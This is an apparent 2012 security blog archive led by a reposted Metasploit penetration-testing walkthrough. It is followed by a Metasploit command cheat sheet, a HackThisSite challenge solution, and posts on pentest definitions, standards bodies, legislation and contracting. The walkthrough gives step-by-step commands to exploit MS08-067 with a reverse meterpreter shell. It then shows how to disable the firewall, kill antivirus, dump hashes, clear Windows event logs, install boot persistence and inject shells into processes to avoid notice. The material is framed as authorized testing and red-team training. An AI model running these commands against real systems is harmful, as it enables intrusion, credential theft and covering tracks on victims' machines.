Monday, April 30, 2012

Re-Post Pentest with Metasploit by David Dodd

Penetration Testing and Shell Tossing with Metasploit

By David Dodd
The Metasploit Framework is a penetration testing toolkit, exploit-development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. You can mix and match payloads, encoders, and NOP slide generators with exploit modules to solve almost any exploit-related task.
See previous articles in this series for an introduction to the Metasploit environment. This article will walk you through how to use the latest version of the Nessus pre-built plugin filter Metasploit Framework in your penetration testing. You will get a glimpse at how pen testers use Metasploit to probe and penetrate a real-world system. I will also cover some useful Metasploit tips for achieving privilege escalation. For instance, wouldn’t it be great to have a shell on another computer just in case you lose your meterpreter shell?
Integrating Nessus 5 with Metasploit
With the release of Nessus 5 configuration vulnerability scanning tool by Tenable Network Security, users now have better filtering, analysis, and reporting, as well as faster scanning time. The Metasploit Nessus plugin allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework.
To start, go to the Tenable site, download Nessus 5, and install it. The new installation will reside in /opt/nessus and will install over the top any previous Nessus versions. Start the nessus daemon and open your web browser to https://localhost:8834, then login, go to Policies, and click add (see Figure 1). Give your policy a title and click next. On the Credentials page, leave the default settings and click Next at the bottom. The Plugins page lets you add a filter. A dropdown list presents many different options; choose Metasploit Exploit Framework (make sure is equal to and true are selected, and click Save – see Figure 2). Next, disable all plugins , select the plugin family you wish to enable, and click on Enable Plugins in the upper-right corner of the page. Do this for all plugins you would like to enable, and click Submit at the bottom.
pentest-F01
Figure 1: Open your web browser on https://localhost:8834.
pentest-F02
Figure 2: Select Metasploit Exploit Framework from the drop down.
To begin a scan, click on Scans. Name the scan and type run now, scheduled, or template. In the Policy dropdown, pick the policy you created earlier, then select a target. Now you can start a scan; the time required for the scan will be surprisingly brief. After the scan, you receive a report that lists the Plugin ID, count, severity, name, and family of each plugin as it relates to the Metasploit Framework (see Figure 3). The Name section tells you which Metasploit exploits have the best chance to be successfully against the system you are testing.
pentest-F03
Figure 3: A report tells you what Metasploit exploit you can use successfully on the box.
You can also start a scan in the Metasploit Framework itself. Start the Metasploit msfconsole console and load nessus:
msf > load nessus
Once the plugins are loaded, connect to the server.
msf > nessus_connect cr0wn:password@localhost ok
Now show the available plugins with the nessus_policy_list command (see Figure 4).
pentest-F04
Figure 4: Viewing the available policies in the Nessus policy list.
You can use the policy to scan the network by entering the policy ID, the name of scan, and a target IP range using the nessus_scan_new command (see Figure 5). This scan will target a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework, you can open a view the information from the console; otherwise, view the information from a web browser.
Now you can select an exploit to use on the target system.
pentest-F05
Figure 5: Starting a scan with nessus_scan_new.
Suppose I wish to use the MS08-067 flaw, which will get a meterpreter shell on the target computer. To accomplish this, I do the following:
msf > use exploit/windows/smb/ms08_067_netapi
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.218
msf > set lport 5555
msf > set rhost 10.10.3.188
msf > exploit
meterpreter >
Useful meterpreter Commands
Now that I have a meterpreter shell on the Windows box, I have a number of options. For instance, I can check to see if the target computer is a virtual machine or has an anti-virus program running. I can also see what the local subnet looks like and what kind of security configuration is on the victim’s system. Metasploit comes with some useful scripts to perform these tasks.
meterpreter > run checkvm
The following command will show you the help menu with options:
meterpreter > run getcountermeasure -h
Choose -d to disable built in firewall.
meterpreter > run getcountermeasure -d
To kill most antivirus programs, run the killav script.
meterpreter > run killav
To identify the local subnet mask that the victim is on, run the get_local_subnets script:
meterpreter > run get_local_subnets
You might want to search the host for interesting information, such as a list of files by file type (*.pdf, *.txt, *.doc, *.jpg, etc.). Use the search function in meterpreter:
meterpreter > search -h
meterpreter > search -f *.pdf
To get some detailed information about the system, use the winenum script and the scraper script. The winenum script will dump tokens and hashes, providing you with lots of information (see Figure 6). The scraper script will pull down the registry and system information:
meterpreter > run winenum
meterpreter > run scraper
pentest-F06
Figure 6: Dumping hashes and tokens with the winenum command.
Now I want to delete the log files. To do this, I open up the meterpreter Scripting menu by using the irb command. Then I issue the following commands at the >> prompt:
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> log = client.sys.eventlog.open('system')
>> log.clear
While I’m at it, I’ll go ahead and delete the security log and application log by changing system in the preceding commands to security and application.
Being able to shove a meterpreter shell to team members that you are performing a pen test with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. Day 4 includes a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team, and having the ability to throw meterpreter shells to my fellow red team members was helpful. Here are a few examples of how how to throw a meterpreter shell.
The first example is using the meterpreter script persistence (to see a list of options, use the -h switch).
Meterpreter > run persistence -h
Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180
The preceding command throws a meterpreter session to a remote system -r 10.10.3.180 at an interval of five seconds, at port 5555, and that session is loaded into and run (-X) every time the machine boots up. The recipient would be waiting for the meterpreter shell by using multi/handler.
msf > use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.180
msf > set lport 5555
msf > exploit
The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell, you get a list of running processes:
meterpreter > ps
Look through the list of processes and identify PIDs that will not draw attention, such as IEXPLORER.EXE PID 3664 (see Figure 7).
pentest-F07
Figure 7: Look for processes that will not draw attention.
Injecting the meterpreter shell into the IEXPLORE.EXE process would be stealthy. I’ll run the multi_meter_inject command using the following switches.
meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664
This command would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient would be waiting for the meterpreter shell by using multi/handler, just changing the lport to 3664.
Now when performing some basic analysis on the victim box, you can run tasklist and nothing looks out of place (see Figure 8), but when you run the netstat -an command, you will see the foreign connection (Figure 9).
pentest-F08
Figure 8: The tasklist command does not reveal any evidence of the intrusion.
pentest-F09
Figure 9: netstat -an still reveals evidence of a foreign connection.
A third way to send off meterpreter shells is to use the meterpreter script duplicate. At the meterpreter prompt, issue the following commands:
meterpreter > run duplicate -h
This preceding command will give you the various available options.
The following command will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (Figure 10):
meterpreter > run duplicate -r 10.10.3.180
pentest-F10
Figure 10: Launching a meterpreter shell using the duplicate script.
You can run a packet sniffer on the target system after you allow your team member to obtain a meterpreter shell. This meterpreter script is called packetrecorder and allows some more granularities when capturing packets.
meterpreter > run packetrecorder
To determine the interface to listen on, issue the command run packetrecorder -li. This command will give a list of network interfaces; choose an interface and a destination to write the file to.
meterpreter > run packetrecorder -i -l /home/tmp/
[*] Packet capture interval is 30 Seconds
You can then review the file later with wireshark or tcpdump.

Sunday, April 29, 2012

Metasploit Console Commands Cheat Sheet


MSFconsole Commands
show exploits
Show all exploits within the Framework.
show payloads
Show all payloads within the Framework.
show auxiliary
Show all auxiliary modules within the Framework.
search name
Search for exploits or modules within the Framework.
info
Load information about a specific exploit or module.
use name
Load an exploit or module (example: use windows/smb/psexec).
LHOST
Your local host’s IP address reachable by the target, often the public IP
address when not on a local network. Typically used for reverse shells.
RHOST
The remote host or the target.
set function
Set a specific value (for example, LHOST or RHOST).
setg function
Set a specific value globally (for example, LHOST or RHOST).
show options
Show the options available for a module or exploit.
show targets
Show the platforms supported by the exploit.
set target num
Specify a specific target index if you know the OS and service pack.
set payload payload
Specify the payload to use.
show advanced
Show advanced options.
set autorunscript migrate -f
Automatically migrate to a separate process upon exploit completion.
check
Determine whether a target is vulnerable to an attack.
exploit
Execute the module or exploit and attack the target.
exploit -j
Run the exploit under the context of the job. (This will run the exploit
in the background.)
exploit -z
Do not interact with the session after successful exploitation.
exploit -e encoder
Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
exploit -h
Display help for the exploit command.
sessions -l
List available sessions (used when handling multiple shells).
sessions -l -v
List all available sessions and show verbose fields, such as which vulnerability
was used when exploiting the system.
sessions -s script
Run a specific Meterpreter script on all Meterpreter live sessions.
sessions -K
Kill all live sessions.
sessions -c cmd
Execute a command on all live Meterpreter sessions.
sessions -u sessionID
Upgrade a normal Win32 shell to a Meterpreter console.
db_create name
Create a database to use with database-driven attacks (example: db_create
autopwn).
db_connect name
Create and connect to a database for driven attacks (example: db_connect
autopwn).
db_nmap
Use nmap and place results in database. (Normal nmap syntax is supported,
such as –sT –v –P0.)
db_autopwn -h
Display help for using db_autopwn.
db_autopwn -p -r -e
Run db_autopwn against all ports found, use a reverse shell, and exploit all
systems.
db_destroy
Delete the current database.
db_destroy user:password@host:port/database
Delete database using advanced options.

Thursday, April 26, 2012

Use of Firebug, Firefox extension

Credit for this post goes to Felipe Martins,CEH, OSWP, Security Specialist at Future Security, Brazil HackThisSite (http://www.hackthissite.org)Basic Missions Challenge #04 Solution This is the first HackThisSite (http://www.hackthissite.org)challenge where we actually need to make use of a firefox plugin called FireBug to change certain html parameters to work on the fly in order for us to get the password. On the Basic Mission #04, it’s designed to teach the beginner how to use his/her common sense above any. The beginner must understand the basic concepts of information gathering, HTML and source code inspection as well as having a little bit of common sense to solve the challenge. In this mission, same as the previous ones, the beginner will have to write the right password to continue to the next challenge. In order to find the correct password we’ll have to inspect the source code to find some hints and use some common sense. Pay close attention the the source code to understand the logic behind this challenge and experience the common mistakes a beginner programmer can make in the code when using authentication on their pages. Solution: right click the mouse when in Basic #04 webpage-select "view source code"-this lets you view the HTML code. search for the string "send password to sam" -for now just note where this string appears. Now-add "Firebug" extensio to Firefox. Go back to Hackthissite basic challenge #04 and view the webpage with form button that says "send message to sam" and form for password with "submit" button. Now invoke "firebug" from Firefox and search for string "send password to sam". Next replace the email address in the HTML code with your email address. Now go back to webpage and click on "send password to sam" button (do not click on submit). the correct password will appear in another tab. copy the password and input it in the password form box and click submit. Voila! you did it.

Monday, April 23, 2012

Social Engineer Toolkit (SET)

I love the SET. It is fun to see it work. However, it does have its glitches! I also love it when the developers "readme" files leave out stuff you need to make things work!! Then tutorials on these applications follow the leader and perpetuate leaving out STUFF. One example is theHarvester. I have seen the "how-tos" How to execute the application: # python theharvester.py or ./theharvester.py or ./theHarvester.py Even in the downloads "readme" file enclosed and in tutorials it is both ways, i.e. theharvester or theHarvester; h lower case or H upper case. I guess this confusion is built in for the noobs. They cannot have it so easy, they have to learn the hard way. Now let me get to SET. SET I really like. However, a word of caution for serious pentesters who may try to use it. Note that a lot of the applications in SET require a pop up in a browser. Now Mozilla and Firefox developers are quite clever by having built it the newer versions a "pop-up blocker". If pop up blocker is checked in Firefox a lot of the SET apps will not work as intended. No where in any readme files nor in any tutorials is this pointed out. But, we all knew that didn't we??

Sunday, April 15, 2012

What is penetration testing?

The term "penetration testing" is an industry buzzword, which used to mean something quite specific, but is now commonly used by customers to refer to just about any type of security testing. The general process tends to be that your systems get tested, and then at the end you receive a report of the insecure areas that need attention, along with advice on how to fix them.The organizations is the following list provides standards and certifications for both the data and systems that are the subject of regulation, and the consultants and vendors that deliver penetration testing. 
 
Penetration Testing Definitions:

Network penetration test – A method that evaluates the security of a network system by conducting an analysis and subsequent examination of potential gaps or “holes” within security operations, flaws within hardware or software configuration or other operational weaknesses that may exist. Once completed these tests expose security vulnerabilities, assess the impact should a potential security threat occur and follow with a proposal of a technical solution. The outcome of these tests allows businesses to make sound security decisions under certain circumstances such as setting up a new office, deployment of a new network infrastructure or upgrading existing or new applications.
Web application penetration test – Unlike a network penetration test, a web application penetration test focuses on the security and potential risks present with a web application. Using methods attackers use to infiltrate web applications to obtain financial, personal and even medical information, these tests allow programmers to assess weaknesses in both server and client-side applications Web application penetration tests can be performed manually or with automated software applications to identify possible security breach points, simulate the actual breach and report the final conclusion and resolutions of the test.
Ethical hacking – With increasing concerns about the security of consumer information and private medical records, and as more organizations migrate towards digital systems for greater efficiency and lower costs, the need for computer experts who conduct ethical hacking is increasing. Unlike a black hat, (a slang term for computer hacker) who exploits the vulnerabilities of systems to obtain personal information illegally, ethical hacking is performed to secure the safety of computer systems with the sole purpose of preventing non-ethical hackers from access.
Black box testing – This software testing technique, also known as functional testing, is conducted by a tester who has no knowledge of how a software program produces its results. This type of testing has certain advantages. Since both the developer and tester are independent of one another the test remains unbiased. Based upon requirements and specifications, test cases can be designed as soon as the specifications are complete and the tester does not need to know any specific programming language to perform the testing.
White box testing – The purpose of a white box penetration test is to simulate a malicious computer hacker who may have some knowledge and credentials to target a particular system. With white box testing, the tester has direct knowledge of the internal structure of the code, including network diagrams and IP address information just like a potential “hacker” would.
White hat – This term refers to an ethical hacker or a penetration tester. Utilizing a variety of methods, these ethical hackers ensure that an organization’s network system or web applications are secure. Specializing in penetration testing these “hackers” may employ social engineering attacks and use hacking tools to identify and expose potential “vulnerable” entry points where intruders can gain entry into secured systems.

OWASP
The Open Web Application Security Project (OWASP) is an Open Source community project developing software tools and knowledge based documentation that helps people secure web applications and web services. It is an open source reference point for system architects, developers, vendors, consumers and security professionals involved in designing, developing, deploying and testing the security of web applications and Web Services.
ISACA
ISACA was established in 1967 and has become a pace-setting global organization for information governance, control, security and audit professionals. Its IS Auditing and IS Control standards are followed by practitioners worldwide and its research pinpoints professional issues challenging its constituents. CISA, the Certified Information Systems Auditor is ISACA's cornerstone certification. Since 1978, the CISA exam has measured excellence in the area of IS auditing, control and security and has grown to be globally recognized and adopted worldwide as a symbol of achievement.
OSSTMM
The aim of The Open Source Security Testing Methodology Manual (OSSTMM) is to set forth a standard for Internet security testing. It is intended to form a comprehensive baseline for testing that, if followed, ensures a thorough and comprehensive penetration test has been undertaken. This should enable a client to be certain of the level of technical assessment independently of other organization concerns, such as the corporate profile of the penetration-testing provider.
 PCI
The Payment Card Industry (PCI) Data Security Requirements were established in December 2004, and apply to all Members, merchants, and service providers that store, process or transmit cardholder data. As well as a requirement to comply with this standard, there is a requirement to independently prove verification.
CHECK
The CESG IT Health Check scheme was instigated to ensure that sensitive government networks and those constituting the GSI (Government Secure Intranet) and CNI (Critical National Infrastructure) were secured and tested to a consistent high level. The methodology aims to identify known vulnerabilities in IT systems and networks which may compromise the confidentiality, integrity or availability of information held on that IT system.
CREST
The Council for Registered Ethical Security Testers (CREST) exists to serve the needs of a global information security marketplace that increasingly requires the services of a regulated and professional security testing capability. It provides globally recognized, up to date certifications for organizations and individuals providing penetration testing services.
Tiger
Tiger Scheme is a commercial certification scheme for technical security specialists, backed by University standards and covering a wide range of expertise. The Tiger Scheme was founded in 2007, on the principle that a commercial certification scheme run on independent lines would give buyers of security testing services confidence that they were hiring in a recognized and reputable company.

A list of port numbers used by trojans, malware, viruses

 The link below lists known trojan-malware-virus port numbers:

http://www.governmentsecurity.org/articles/trojan-malware-virus-and-application-ports-list.html

The iana assigned registered service-names-port-numbers can be accessed by clicking on link below. NOTE:
List is long, takes time to load!

http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml

Saturday, April 14, 2012

"Calling the Kettle Black" https://myexploit.wordpress.com

I read in a Linked-In post that the federal government may be introducing legislation that would make software and tools illegal that are for IT security but could also be used for nefarious purposes. Metasploit and Backtrack would become illegal.  Makes about as much logical sense at the stand your ground law.

Why doesn't Congress make legislation to prevent their members from using insider stock information for personal gain?  Why doesn't Congress break up the Big Four Accounting monopoly?

Fact: Congressional members use their insider stock knowledge for personal gains
Fact: Big Four accounting controls audit prices.  Big Four accounting hires inexperienced accountants straight out of college.  Big Four accounting audits the same clients year after year.  Clients pay Big Four accounting enormous fees.  Big Four accounting cannot give unbiased opinions. Big Four audit opinions influence stock market prices. Why doesn't Congress break up this monopoly?

 Answer: Like everyone else, Congress goes after the "low hanging fruit".  Metasploit, Backtrack and others like them do not have the lobbying power or money of the Big Four.  It is easier to go after the "little guy" even if the reason is not logical just like the stand your ground law which was lobbied for by the NRA.

https://myexploit.wordpress.com

Blog on review of ISACA Journal Vol. 2, 2012 about Penetration Testing

Finished reading ISACA Journal Vol 2, 2012 titled "Security Through Effective Penetration Testing" beginning on page 20.  This is the kind of "real world" article that I would like to see more of in the ISACA journal.
The article states:  "It was one of the first times that an entire state government had undergone such a large-scale assessment to identify security vulnerabilities across various critical resources and to evaluate how well IT staff at different state agencies responded to simulated attacks."  What strikes me are the words "first", "entire state government", "IT staff", and "critical" and makes me question:  "WHY".  Why is this the first time?   Why did the state of Colorado do this?  I do not know the answer to the first "why is this the first time" but I will get to that later.  In answer to the second "why" I am believing that Mr. Jonathan Trull, CISA, CFE, OSCP, Deputy State Auditor of Colorado had something to do with getting this project off the ground. You see that he is a CISA and more importantly an OSCP, Offensive Security Certified Penetration Tester and this may have had something to do with Mr. Trull convincing Mr. Travis Schack, State of Colorado CISO and then the  two of them convincing upper management to allow them to carry out a covert penetration test--they would have to justify the cost, the risk of system disruption, and the politics involved with IT staff personnel if findings are positive and feathers are ruffled. The entire test was carried out covertly by 8 persons and the system was hacked into and sensitive data ex-filtrated and they estimated a real breach of the nature of the penetration hack would cost the State of Colorado between $7 and $15 million.  The root cause was preventable and resulted from a lack of the most basic security best practices.

A discussion of "why is this the first":  One could also apply this question not only to state governments but the federal and local governments and other organizations including businesses and it has to do with education. There is an overall lack of awareness at the upper management levels because those decision makers do not have the training that Mr. Trull had and they do not view the risk like Mr.Trull did.

 I will speculate that a similar outcome would occur in the vast majority of government agencies and I would suggest that the internal auditors, inspector's general, and IT staffing obtain the necessary education to become aware of what needs to be done to secure the nation's IT infrastructure.  

The State of Colorado Performance Audit is public information and is available at:
http://www.leg.state.co.us/OSA/coauditor1.nsf/All/BD6BC417A140102C872577F3005B9705/$FILE/2068A%20IT%20Pentest%20Gov%20Office%20Nov%202010.pdf

http://www.nasact.org/conferences_training/nsaa/conferences/ITWorkshopConferences/2011ITWorkshopConference/PresentationsHandouts/Trull_Jonathan.pdf

 https://myexploit.wordpress.com

Thursday, April 12, 2012

Pentesting-Companies are running scared

Companies are running scared from the cyber mafia threat.  The media has a lot to do with the perceived cyber mafia threat by over blowing it. Overblown or not is relative to your perception and the reality of whether you got hacked and how much your loss is.

The thing that has been observed by myself and is puzzling is the number of offers I get to do penetration testing. The offers come in requesting a pentest.  A company (I have seen very large and small do the same thing) goes to middlemen recruiters to put out a penetration testing job description that they need to buy a pentest and are willing to hire someone a a dollar rate per hour, etc. And this is puzzling to me because it sets up the project with no ending set up beforehand.  A better way is for the company to catch their breath, look at their IT infrastructure inventory to count the number of domains and IP addresses within those networks plus cloud and mobile devices and then write up a very specific and exacting statement of work detailing their objective and the number of hours they want spent on pentesting.  They then put out the solicitation and get bids are request both technical proposals and cost proposals to do the job.  Selection is made by analyzing the technical proposal and the cost proposal.  Firm-fixed price contract is signed and one company or pentester is selected.  By doing this simple exercise, the company has defined their IT risk and the residual risk they are willing to accept.  Without the statement of work, technical and cost proposals, firm-fixed price contract the work is open-ended.  The statement of work and the contract defines the length of time and hours spent trying to hack in.  At the end of the work and no hack has been accomplished the company could assume that a hacker would have to take about the same time and money, depending on the expertise of the hacker to break in to their system.  This procedure for hiring a pentest puts it into a risk and cost perspective. Any other way is chaos.

 https://myexploit.wordpress.com